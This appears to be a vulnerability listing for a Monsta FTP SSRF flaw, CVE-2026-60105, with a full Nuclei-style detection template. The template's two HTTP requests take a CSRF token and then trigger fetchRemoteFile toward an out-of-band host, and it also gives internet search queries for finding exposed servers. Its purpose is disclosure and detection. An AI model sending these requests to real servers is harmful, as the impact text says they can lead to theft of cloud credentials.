CVE-2026-60105: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass

日期: 2026-09-16 | 影响软件: 未知 | PoC: 已公开

漏洞描述

Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.

PoC代码[已公开]

id: CVE-2026-60105

info:
  name: Monsta FTP <= 2.14.4 - Unauthenticated SSRF via IPv6 Blocklist Bypass
  author: chocapikk,DhiyaneshDk
  severity: high
  description: |
    Monsta FTP before 2.14.5 contains a server-side request forgery vulnerability in the fetchRemoteFile action caused by an incomplete IP blocklist check in the isBlockedIP() function, which fails to detect embedded IPv4 addresses within IPv4-mapped IPv6 addresses.
  impact: |
    An unauthenticated attacker can obtain a CSRF token from the public getSystemVars endpoint and submit a fetchRemoteFile request with a source URL resolving to an IPv4-mapped address, causing the server to issue HTTP requests to internal services and write responses to an attacker-controlled FTP destination, enabling retrieval of cloud instance metadata credentials.
  remediation: Upgrade to Monsta FTP 2.14.5 or later.
  reference:
    - https://www.vulncheck.com/blog/monsta-ftp-ssrf-ipv6-blocklist-bypass
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2026-60105
    epss-score: 0.0186
    epss-percentile: 0.78044
    cwe-id: CWE-918,CWE-184
  metadata:
    verified: true
    max-request: 2
    vendor: monsta
    product: monsta-ftp
    shodan-query: http.html:"Monsta FTP"
    fofa-query: body="Monsta FTP"
  tags: cve,cve2026,monsta,ftp,ssrf,oob,unauth,vkev

flow: http("get-csrf") && http("ssrf-probe")

http:
  - id: get-csrf
    raw:
      - |
        POST /mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        request={"actionName":"getSystemVars","context":{}}

    host-redirects: true
    max-redirects: 2

    matchers:
      - type: word
        words:
          - "csrfToken"
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        regex:
          - '"csrfToken"\s*:\s*"([a-f0-9]+)"'
        group: 1
        internal: true

  - id: ssrf-probe
    raw:
      - |
        POST /mftp/application/api/api.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        X-CSRF-Token: {{csrf_token}}

        request={"actionName":"fetchRemoteFile","connectionType":"ftp","configuration":{"host":"{{interactsh-url}}","port":21,"username":"anonymous","password":"anonymous@","passive":true},"context":{"source":"http://{{interactsh-url}}/ssrf-probe","destination":"/"}}

    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"
          - "http"
        condition: or
# digest: 4a0a0047304502201cb51cefeee4692e84d2e03d5eb1826baa2b2ca9e0352af4c75e09d3d7f781a0022100d85946bdfecb9d631bfb12841ea619f5438dab7c86fb04b7489a2c74b4bbf882:922c64590222798bb761d5b6d8e72950